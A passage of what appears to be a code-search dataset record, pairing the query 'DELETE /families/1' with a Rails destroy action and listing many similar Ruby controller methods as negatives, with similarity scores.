"def update\n @product_family = ProductFamily.find(params[:id])\n\n respond_to do |format|\n if @product_family.update_attributes(params[:product_family])\n flash[:notice] = 'Família de produtos atualizada.'\n format.html { redirect_to(@product_family) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @product_family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_farmer_family\n @farmer_family = FarmerFamily.find(params[:id])\n end",
"def create\n @family = Family.new(params[:family])\n if User.find_by_email(session[:user_email]).identity >= 3 #if user is at least manager+\n @family.approved_by = User.find_by_email(session[:user_email]).id\n @family.display = true\n end\n respond_to do |format|\n if @family.save\n format.html { redirect_to session[:redirect_path], notice: 'Family was successfully created.' }\n format.json { render json: @family, status: :created, location: @family }\n else\n flash[:error] = \"Sorry, one or more fields were not entered correctly. Please double-check that the information is correct.\"\n format.html { render action: \"new\" }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n puts :family\n @family = FamilyDecorator.decorate(Family.new(params[:family]))\n\n respond_to do |format|\n if @family.save\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n format.json { render json: @family, status: :created, location: @family }\n else\n format.html { render action: \"new\" }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @household.update(household_params)\n\n params[:household][:household_members_attributes].each do |member|\n predecessor_name = member[1][:name]\n successor_name = member[1][:name_related]\n relationship_kind = member[1][:relationship]\n\n @household.add_household_member(@household.household_members.find_by_name(predecessor_name))\n @household.add_relationship(predecessor_name, successor_name, relationship_kind)\n #byebug\n end\n format.html { redirect_to @household, notice: 'Household was successfully updated.' }\n format.json { render :show, status: :ok, location: @household }\n else\n format.html { render :edit }\n format.json { render json: @household.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6697375",
"0.6618747",
"0.6419242",
"0.6303814",
"0.62850624",
"0.62772053",
"0.62772053",
"0.6213107",
"0.62118375",
"0.62118375",
"0.61449337",
"0.6117397",
"0.61047333",
"0.6074112",
"0.6045636",
"0.6035152",
"0.6004471",
"0.59281236",
"0.58985716",
"0.589363",
"0.5813248",
"0.5806199",
"0.5788876",
"0.5729565",
"0.5723024",
"0.5704888",
"0.56991875",
"0.56834036",
"0.56757873",
"0.5675747",
"0.56659824",
"0.56498045",
"0.5642428",
"0.56215984",
"0.5619743",
"0.55991346",
"0.55823296",
"0.5581962",
"0.55433345",
"0.55313915",
"0.5525406",
"0.550391",
"0.5499922",
"0.54912084",
"0.5487718",
"0.5483548",
"0.5481683",
"0.54791516",
"0.5462632",
"0.54364395",
"0.54356843",
"0.54356843",
"0.54356843",
"0.5425973",
"0.5403733",
"0.5397795",
"0.5390577",
"0.53477746",
"0.53253233",
"0.5306908",
"0.53011084",
"0.5294986",
"0.5292135",
"0.528872",
"0.52762926",
"0.5274092",
"0.52709377",
"0.5267545",
"0.5266301",
"0.5260348",
"0.52587146",
"0.5256477",
"0.5251476",
"0.5250231",
"0.5246856",
"0.5244756",
"0.52347386",
"0.52319634",
"0.5229502",
"0.52288795",
"0.52244395",
"0.52117217",
"0.52086264",
"0.5205563",
"0.5201399",
"0.51972514",
"0.519429",
"0.5190857",
"0.5186995",
"0.5184125",
"0.5181292",
"0.51703316",
"0.51606995",
"0.51595557",
"0.5156537",
"0.51552975",
"0.5147975",
"0.5137324",
"0.5135953",
"0.5131979"
] |
0.58596694
|
20
|
DELETE /families/1 DELETE /families/1.json
|
def destroy
@family = Family.find(params[:id])
@family.destroy
respond_to do |format|
format.html { redirect_to session[:redirect_path] }
format.json { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @family.destroy\n respond_to do |format|\n format.html { redirect_to families_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family = Family.find(params[:id])\n @family.destroy\n\n respond_to do |format|\n format.html { redirect_to families_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@family ||= Family.find(params[:id])\n @family.destroy\n respond_to do |format|\n format.html { redirect_to(families_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @family.destroy\n respond_to do |format|\n format.html { redirect_to families_url, notice: 'Family was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @family.destroy\r\n respond_to do |format|\r\n format.html { redirect_to families_url, notice: 'Family was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @family.destroy\n respond_to do |format|\n format.html { redirect_to families_url, notice: 'La familia fue eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @os_family.destroy\n respond_to do |format|\n format.html { redirect_to os_families_url, notice: 'Os family was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n# @family = Family.find(params[:id])\n# @family.destroy\n#\n# respond_to do |format|\n# format.html { redirect_to(families_url) }\n# format.xml { head :ok }\n# end\n end",
"def destroy\n @control_family = ControlFamily.find(params[:id])\n @control_family.destroy\n\n respond_to do |format|\n format.html { redirect_to control_families_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family_group.destroy\n respond_to do |format|\n format.html { redirect_to family_groups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family_relationship.destroy\n respond_to do |format|\n format.html { redirect_to family_relationships_url, notice: 'Family relationship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n respond_to do |format|\n if current_user.families.include?(@family)\n @family.destroy\n format.json { render json: {destroyed: \"Familiar '#{@family.name}' eliminado correctamente\"}, status: :ok }\n else\n format.json { render json: {error: \"No posees los permisos para eliminar a esta persona\", families: current_user.families}, status: 401 }\n # format.json { head :no_content }\n end\n format.html { redirect_to families_url, notice: 'Family was successfully destroyed.' }\n end\n end",
"def destroy\n family = @child.family\n @child.destroy\n respond_to do |format|\n format.html { redirect_to family, notice: tr(\"child_deleted\") }\n end\n end",
"def destroy\n @family_member = FamilyMember.find(params[:id])\n @family_member.destroy\n\n respond_to do |format|\n format.html { redirect_to family_members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family_member = FamilyMember.find(params[:id])\n @family_member.destroy\n\n respond_to do |format|\n format.html { redirect_to family_members_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family_bond.destroy\n respond_to do |format|\n format.html { redirect_to family_bonds_url, notice: 'Family bond was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family.destroy\n redirect_to families_url, notice: 'Family was successfully destroyed.'\n end",
"def destroy\n @tenant_family_member.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Tenant family member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n relationship = Relationships.find(params[:id])\n relationship.destroy\n head 204\n end",
"def destroy\n @language_family.destroy\n respond_to do |format|\n format.html { redirect_to language_families_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n genus = Genu.all;\n genus.each do |genu|\n if(genu.sub_family_id == @sub_family.id)\n genu.destroy\n end\n end\n @sub_family.destroy\n respond_to do |format|\n format.html { redirect_to sub_families_url, notice: 'Sub família foi deletada.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @father = Father.find(params[:id])\n @father.destroy\n\n respond_to do |format|\n format.html { redirect_to fathers_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @family_member.destroy\n respond_to do |format|\n format.html { redirect_to family_members_url, notice: 'Family member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family_crest = FamilyCrest.find(params[:id])\n @family_crest.destroy\n\n respond_to do |format|\n format.html { redirect_to family_crests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family_history = FamilyHistory.find(params[:id])\n @family_history.destroy\n\n respond_to do |format|\n format.html { redirect_to family_histories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @firend_relationship.destroy\n respond_to do |format|\n format.html { redirect_to user_firend_relationships_url, notice: 'Firend relationship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family_unit = FamilyUnit.find(params[:id])\n @family_unit.destroy\n\n respond_to do |format|\n format.html { redirect_to family_units_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_father.destroy\n respond_to do |format|\n format.html { redirect_to admin_fathers_url, notice: 'Father was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family_history.destroy\n respond_to do |format|\n format.html { redirect_to family_histories_url, notice: 'Family history was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foreign_key.destroy\n respond_to do |format|\n format.html { redirect_to foreign_keys_url, notice: 'Foreign key was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @forest = Forest.find(params[:id])\n @forest.destroy\n\n respond_to do |format|\n format.html { redirect_to forests_url }\n format.json { head :no_content }\n end\n end",
"def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end",
"def destroy\n @taxon_name_relationship.destroy\n respond_to do |format|\n format.html { redirect_to taxon_name_relationships_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @forest.destroy\n respond_to do |format|\n format.html { redirect_to forests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family_member = User.find(params[:id])\n @family_member.destroy\n respond_to do |format|\n format.html { redirect_to familymembers_path, notice: 'Family member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @orphan.destroy\n respond_to do |format|\n format.html { redirect_to orphans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family_background = FamilyBackground.find(params[:id])\n @family_background.destroy\n\n respond_to do |format|\n format.html { redirect_to(family_backgrounds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fabric = Fabric.find(params[:id])\n @fabric.destroy\n\n respond_to do |format|\n format.html { redirect_to fabrics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agent_relationship_type.destroy\n\n respond_to do |format|\n format.html { redirect_to agent_relationship_types_url, notice: t('controller.successfully_deleted', model: t('activerecord.models.agent_relationship_type')) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family_member = FamilyMember.find(params[:id])\n @family_member.destroy\n\n respond_to do |format|\n format.html { redirect_to(family_family_members_url(@current_family)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @family_document.destroy\n respond_to do |format|\n format.html { redirect_to family_documents_url, notice: \"Family document was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n @loadbalancer.send_delete\n\n respond_to do |format|\n format.html { redirect_to loadbalancers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n Family.find(params[:id]).destroy\n \n respond_to do |format|\n format.js { render nothing: true }\n end\n end",
"def destroy\n @product_family = ProductFamily.find(params[:id])\n @product_family.destroy\n\n respond_to do |format|\n format.html { redirect_to(product_families_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fixture = Fixture.find(params[:id])\n @fixture.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @ghb.destroy\n respond_to do |format|\n format.html { redirect_to ethers_url, notice: 'Ether was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @groups_happening = GroupsHappening.find(params[:id])\n @groups_happening.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_happenings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fabrica.destroy\n respond_to do |format|\n format.html { redirect_to fabricas_url }\n format.json { head :no_content }\n end\n end",
"def delete_from_family family_name\n options = { family_name: family_name }\n @mutations <<\n Google::Bigtable::V2::Mutation.new(delete_from_family: options)\n end",
"def destroy\n @persona = Persona.find(params[:id])\n @persona.destroy\n\n respond_to do |format|\n format.json { head :ok }\n end\n \n end",
"def destroy\n @tracing_couple_family.destroy\n respond_to do |format|\n format.html { redirect_to clinic_history_couple_tracing_couple_families_path(@clinic_history_couple.id), notice: 'Tracing couple family was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @manifestation_relationship_type = ManifestationRelationshipType.find(params[:id])\n @manifestation_relationship_type.destroy\n\n respond_to do |format|\n format.html { redirect_to manifestation_relationship_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reagent_group = ReagentGroup.find(params[:id])\n @reagent_group.destroy\n\n respond_to do |format|\n format.html { redirect_to reagent_groups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_agency = Admin::Agency.find(params[:id])\n @admin_agency.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_agencies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n \n keystone.delete_tenant(keystone.get_tenant(params[:id])[:id])\n\n respond_to do |format|\n format.html { redirect_to tenants_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @refugee.destroy\n respond_to do |format|\n format.html { redirect_to refugees_url, notice: 'Refugee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n clients_delete(@entity)\n @entity.destroy\n respond_to do |format|\n format.html { redirect_to clients_path }\n format.json { render json: {success: true} }\n end\n end",
"def destroy\n @gid2name = Gid2name.find(params[:id])\n @gid2name.destroy\n\n respond_to do |format|\n format.html { redirect_to gid2names_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @occupant = Occupant.find(params[:id])\n @occupant.destroy\n\n respond_to do |format|\n format.html { redirect_to occupants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tx_land_grants_efn.destroy\n respond_to do |format|\n format.html { redirect_to tx_land_grants_efns_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @child_guardian_relationship = ChildGuardianRelationship.find(params[:id])\n @child_guardian_relationship.destroy\n\n respond_to do |format|\n format.html { redirect_to child_guardian_relationships_url }\n format.json { head :no_content }\n end\n end",
"def _delete(type, *args)\n type = type.to_s.camelize\n metadata = args.map { |full_name| {:full_name => full_name} }\n request :delete do |soap|\n soap.body = {\n :metadata => metadata\n }.merge(attributes!(type))\n end\n end",
"def destroy\n @agent_group = AgentGroup.find(params[:id])\n @agent_group.destroy\n\n respond_to do |format|\n format.html { redirect_to agent_groups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @who_prefix = WhoPrefix.find(params[:id])\n @who_prefix.destroy\n\n respond_to do |format|\n format.html { redirect_to(who_prefixes_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @healthrecord = Healthrecord.find(params[:id])\n @healthrecord.destroy\n\n respond_to do |format|\n format.html { redirect_to indexhealthrecord_path(current_member) }\n format.json { head :no_content }\n end\n end",
"def destroy_by_body\n @person = Person.find(person_delete_param[:id])\n id = @person.id\n\n if @person.destroy\n render json: { status: 'DELETE Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error deleting person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def destroy\n @childmaster = Childmaster.find(params[:id])\n @childmaster.destroy\n\n respond_to do |format|\n format.html { redirect_to childmasters_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ref_hospitalization_type = Ref::HospitalizationType.find(params[:id])\n @ref_hospitalization_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ref_hospitalization_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @frais_hebergement = FraisHebergement.find(params[:id])\n @frais_hebergement.destroy\n\n respond_to do |format|\n format.html { redirect_to frais_hebergements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agent = @business.agents.find(params[:id])\n @agent.destroy\n\n respond_to do |format|\n format.html { redirect_to business_agents_url(@business) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @person = Person.find(params[:id])\n @person.destroy\n respond_to do |format|\n format.json { render json: {}, status: :ok }\n end\n end",
"def destroy\n @health_record.destroy\n respond_to do |format|\n format.html { redirect_to health_records_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @registering_agency.destroy\n respond_to do |format|\n format.html { redirect_to registering_agencies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @manage_heal.destroy\n respond_to do |format|\n format.html { redirect_to manage_heals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_neighbourhood.destroy\n respond_to do |format|\n format.html { redirect_to admin_neighbourhoods_url, notice: 'Neighbourhood was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agency_type = AgencyType.find(params[:id])\n @agency_type.destroy\n\n respond_to do |format|\n format.html { redirect_to agency_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n ## note use of method chaining to combine find & destroy into one line\n Person.find(params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @groupon = Groupon.find(params[:id])\n @groupon.destroy\n\n respond_to do |format|\n format.html { redirect_to groupons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @healthpro.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @beacon = Beacon.find(params[:id])\n @beacon.destroy\n\n respond_to do |format|\n format.html { redirect_to beacons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @badge = Badge.find(params[:id])\n @badge.destroy\n\n respond_to do |format|\n format.html { redirect_to(organization_segment_badges_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @consensu = Consensu.find(params[:id])\n @consensu.destroy\n\n respond_to do |format|\n format.html { redirect_to consensus_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @people.destroy\n respond_to do |format|\n format.html { redirect_to people_url, notice: 'Persona eliminada con éxito.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gene_name = GeneName.find(params[:id])\n @gene_name.destroy\n\n respond_to do |format|\n format.html { redirect_to gene_names_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @herald.destroy\n respond_to do |format|\n format.html { redirect_to heralds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fakemodel.destroy\n respond_to do |format|\n format.html { redirect_to fakemodels_url, notice: 'Fakemodel was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @npc_relation.destroy\n respond_to do |format|\n format.html { redirect_to npc_relations_url, notice: 'Npc relation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @group_request.destroy\n respond_to do |format|\n format.html { redirect_to group_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @suburb_master.destroy\n respond_to do |format|\n format.html { redirect_to suburb_masters_url, notice: 'Suburb master was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discovery = Discovery.find(params[:id])\n @discovery.destroy\n\n respond_to do |format|\n format.html { redirect_to(discoveries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @multi_agent_service.destroy\n respond_to do |format|\n format.html { redirect_to multi_agent_services_url, notice: 'Entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @entity_subtype = EntitySubtype.find(params[:id])\n @entity_subtype.destroy\n\n respond_to do |format|\n format.html { redirect_to entity_subtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fixture = Fixture.find(params[:id])\n @fixture.destroy\n\n respond_to do |format|\n format.html { redirect_to fixtures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fixture = Fixture.find(params[:id])\n @fixture.destroy\n\n respond_to do |format|\n format.html { redirect_to fixtures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food_group.destroy\n respond_to do |format|\n format.html { redirect_to food_groups_url, notice: 'Food group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7311203",
"0.73010886",
"0.713922",
"0.71099216",
"0.70258963",
"0.70226616",
"0.6981185",
"0.69420177",
"0.6745161",
"0.6731434",
"0.6715669",
"0.66346616",
"0.66107696",
"0.6606611",
"0.6606611",
"0.66009855",
"0.66007686",
"0.65877193",
"0.65728956",
"0.65667725",
"0.6566613",
"0.649649",
"0.648607",
"0.6471954",
"0.6426517",
"0.63993853",
"0.63876534",
"0.6355378",
"0.6355207",
"0.63508916",
"0.6349549",
"0.63449085",
"0.63436925",
"0.6343436",
"0.63344944",
"0.63250166",
"0.63245285",
"0.6297935",
"0.6296497",
"0.62913465",
"0.6280074",
"0.6252206",
"0.6242548",
"0.62412333",
"0.6240007",
"0.62177664",
"0.6209584",
"0.6207396",
"0.6177971",
"0.6175277",
"0.61732405",
"0.61711776",
"0.6170358",
"0.6169515",
"0.6157329",
"0.6155508",
"0.61468136",
"0.61416245",
"0.61391777",
"0.61327887",
"0.6123502",
"0.61184406",
"0.6114717",
"0.6104826",
"0.6099447",
"0.60937726",
"0.6092579",
"0.6091248",
"0.6087027",
"0.6086644",
"0.60828596",
"0.60811555",
"0.6078557",
"0.6078424",
"0.60712737",
"0.60696197",
"0.6068718",
"0.6067666",
"0.60639495",
"0.60627544",
"0.6057924",
"0.60538155",
"0.6051815",
"0.6051529",
"0.60501283",
"0.6049224",
"0.6046827",
"0.60461366",
"0.6045118",
"0.6043454",
"0.6043253",
"0.60431325",
"0.603932",
"0.6036549",
"0.60337424",
"0.6031024",
"0.60281247",
"0.6024368",
"0.6024368",
"0.60237396"
] |
0.70011246
|
6
|
List of pending families
|
def pending
session[:redirect_path] = pending_families_path
if params[:location]
@display_families = User.find_pending_families
@display_families.keep_if { |family| params[:location].include?(Family.get_location_name(family.locationID)) }
else
@display_families = User.find_pending_families
end
respond_to do |format|
format.html
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def families\n @ks[:family].keys\n end",
"def list_families\n http_get(:uri=>\"/plugins/families\", :fields=>x_cookie)\n end",
"def families\n response = @client.get('plugins/families')\n verify response,\n forbidden: 'You do not have permission to view plugin families',\n internal_server_error: 'Server failed to retrieve the plugin '\\\n 'family list.'\n end",
"def family_list\n UIFont.familyNames.sort\n end",
"def pending_friends\n friendships.map{|friendship| friendship.friend if !friendship.confirmed}.compact\n end",
"def pending_friends\n friendships.map { |friendship| friendship.friend unless friendship.confirmed }.compact\n end",
"def pending_friends\n friendships.map { |friendship| friendship.friend unless friendship.confirmed }.compact\n end",
"def list()\n\t\t\tkparams = {}\n\t\t\tclient.queue_service_action_call('devicefamily', 'list', 'KalturaDeviceFamilyListResponse', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend",
"def pending_friends\n @user_fr.friendships.map { |friendship| friendship.friend unless friendship.confirmed }.compact\n end",
"def pending_friends\n \t pending_friends_by_me + pending_friends_for_me\n \t end",
"def friendships_pending\n friendships_pending = []\n friendships.where(confirmed: false).each { |fs| friendships_pending << User.find(fs.friend_id) }\n friendships_pending\n end",
"def family\n first_set = self.initiated_family\n second_set = self.received_family\n return first_set + second_set\n end",
"def pending\n pending_friends | pending_friend_requests\n end",
"def pending_friends\n Relationship.find_all_by_friend_id_and_approved(self,false)\n end",
"def pending_friends\n inverse_friendships.map{ |fs| fs.user unless fs.accepted? }.compact\n end",
"def pending_friends\n \tself.passive_relationships.where(status_flag: 0)\n end",
"def list_of_pending_instances(list = list_of_nonterminated_instances)\n list.select {|a| a.pending? }\n end",
"def index\n @families = Family.all\n end",
"def index\n @families = Family.all\n end",
"def index\n @families = Family.all\n end",
"def pending\n pending_friends | requested_friendships\n end",
"def pending\n pending_friends | requested_friendships\n end",
"def gossip_list\n\n end",
"def list_of_pending_instances(list = list_of_nonterminated_instances)\n list.select {|a| a if a.pending? }\n end",
"def index\r\n @families = Family.all\r\n end",
"def pending\n\t\tpending_friends | requested_friendships\n\tend",
"def plugins_list\n\t\t\tpost= { \"token\" => @token }\n\t\t\tdocxml = nil\n\t\t\tdocxml=nessus_request('plugins/list', post)\n\t\t\tif docxml.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\tplugins=Array.new\n\t\t\tdocxml.root.elements['contents'].elements['pluginFamilyList'].each_element('//family') { |plugin|\n\t\t\t\tentry=Hash.new\n\t\t\t\tentry['name']=plugin.elements['familyName'].text\n\t\t\t\tentry['num']=plugin.elements['numFamilyMembers'].text\n\t\t\t\tplugins.push(entry)\n\t\t\t}\n\t\t\treturn plugins\n\t\tend",
"def pending_friends\n self.pending_friends_by_me + self.pending_friends_for_me\n end",
"def family\n ([self] + self.children + self.parents + self.mergers + [self.merger]).compact\n end",
"def index\n @family_bonds = FamilyBond.all\n end",
"def pending_friend_requests_from\n self.inverse_friendships.where(state: \"pending\")\n end",
"def all_pending_followables(options={})\n all_pending_follows(options).collect{ |f| f.followable }\n end",
"def pending_friend_requests_to\n self.friendships.where(state: \"pending\")\n end",
"def pending_friend_requests_to\n \tself.friendships.where(state: \"pending\")\n end",
"def pending_friend_requests_from\n \tself.inverse_friendships.where(state: \"pending\")\n end",
"def visible_families\n # right now the count is the number of species\n TaxonName.find_by_sql(\n \"SELECT p.*, count(*) as count FROM \n (SELECT * FROM taxon_names t WHERE t.iczn_group = 'family' AND RIGHT(t.name,4) = 'idae') AS p\n LEFT JOIN \n (SELECT id, l, r FROM taxon_names t2 WHERE #{self.sql_for_taxon_names('t2', :public)} AND iczn_group = 'species') AS c \n ON p.l < c.l AND p.r > c.r\n WHERE c.id IS NOT NULL \n GROUP BY p.id ORDER BY name\") \n end",
"def friends\n all_friends = [];\n self.friendships.each do |ship|\n if ship.status == 'approved'\n friend_id = get_friend_id_from_friendship(ship)\n friend = User.find(friend_id)\n all_friends << friend\n end\n end\n all_friends\n end",
"def friends\n output = []\n friendships.each do |f|\n output << f.friend\n end\n output\n end",
"def pending\n pending_friends | inverse_pending_friends\n end",
"def index\n @os_families = OsFamily.all\n end",
"def proposed_friends\n friendships.map{ |fs| fs.friend unless fs.accepted? }.compact\n end",
"def get_unallocated_fellows(fellows)\n fellows_list = []\n fellows.each do |fellow|\n fellows_list.push fellow.name\n end\n return fellows_list\n end",
"def index\n @farmer_families = @farmer.farmer_families\n end",
"def index\n @sub_families = SubFamily.all\n end",
"def received_friend_requests\n self.followers.where(\"friend_status = 'PENDING'\")\n end",
"def raw_families\n {}.tap { |ret|\n descriptor.families.each do |family|\n name = family.name_as_string\n ret[name] = parse_raw_map family.values\n end\n }\n end",
"def family\n self_and_children\n end",
"def getDeliverables\n readDeliverables\n\n return @Deliverables\n end",
"def families\n {}.tap { |ret|\n descriptor.families.each do |family|\n name = family.name_as_string\n ret[name] =\n parse_raw_map(family.values).tap { |props|\n COLUMN_PROPERTIES.each do |prop, gs|\n get = gs[:get]\n if get && family.respond_to?(get)\n props.delete(prop.to_s.upcase)\n props[prop] = parse_property family.send get\n end\n end\n }\n end\n }\n end",
"def index\n @family_groups = FamilyGroup.all\n end",
"def known_column_family_names\n (column_families || []).collect &:name\n end",
"def friends\n return friendships_confirmed + inverse_friendships_confirmed\n end",
"def all_names\n @json_data['family_members'].collect { |user| user['name'] }\n end",
"def friends\n friendships.where(accepted: true).map(&:friend)\n end",
"def names\n @column_families.keys\n end",
"def pending_promotions\n @pending_promotions ||= []\n end",
"def family\n @family ||= family_options.map do |font_name, font_options|\n name = parse_font_name(font_name)\n\n options = font_options.sort.uniq\n\n options.any? ? \"#{name}:#{options.join(',')}\" : name\n end.join('|')\n end",
"def received_friend_requests\n friendships = Friendship.where(:friend_id => self.id, :confirmed => false)\n users = []\n friendships.each do |friendship|\n users.push User.find_by_id friendship.user_id\n end\n\n users\n end",
"def pending_changelists\n command = %W(changelists -u #{@p4.user} -c #{@p4.client} -s pending)\n run(*command).map { |elem|\n Changelist.new(self, elem[\"change\"].to_i)\n }\n end",
"def get_pending_states\n self.statemap['on_pending'].map{|state, _| state}\n end",
"def all_friends\n requested_friends + accepted_friends\n end",
"def listunconfirmed(addr)\n json_get('address','unconfirmed',addr)['data']['unconfirmed']\n end",
"def friends_as_requester\n\t\taccepted_friendship = self.requesting_friendships.where(\"accepted = ?\", true)\n\n\t\tfriends = []\n\n\t\taccepted_friendship.each do |friendship|\n\t\t\tfriends << friendship.accepter\n\t\tend\n\n\t\tfriends\n\tend",
"def friend_requests\n FriendRequest.all.select do |req|\n req.to_user_id == self.id && req.pending\n end\n end",
"def all\n @peersByAddr.values\n end",
"def friends_as_accepter\n\t\taccepted_friendship = self.accepting_friendships.where(\"accepted = ?\", true)\n\n\t\tfriends = []\n\n\t\taccepted_friendship.each do |friendship|\n\t\t\tfriends << friendship.requester\n\t\tend\n\n\t\tfriends\n\tend",
"def friend_requests\n @user_fr.inverse_friendships.map { |friendship| friendship.user unless friendship.confirmed }.compact\n end",
"def index\n @pending_friend_requests = PendingFriendRequest.all\n end",
"def all_pending_follows(options={})\n self.follows.unblocked.pending.includes(:followable).apply_finder_options(options, true)\n end",
"def baculized_hosts\n hosts.in_bacula.pluck(:name)\n end",
"def followers\n self.blood_oaths.map{|bloodoath_instance| bloodoath_instance.follower}.uniq\n end",
"def superfamily_ids\n superfamily_ids_set.to_a\n end",
"def all_friends\n friends friendships\n end",
"def index\n @family_relationships = FamilyRelationship.all\n end",
"def pending\n @user = current_user\n @friendship_requests = current_user.requested_friendships\n end",
"def index\n @index_action = true\n @families = Family.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @families }\n end\n end",
"def friends\n active_friends | received_friends\n end",
"def friends\n active_friends | received_friends\n end",
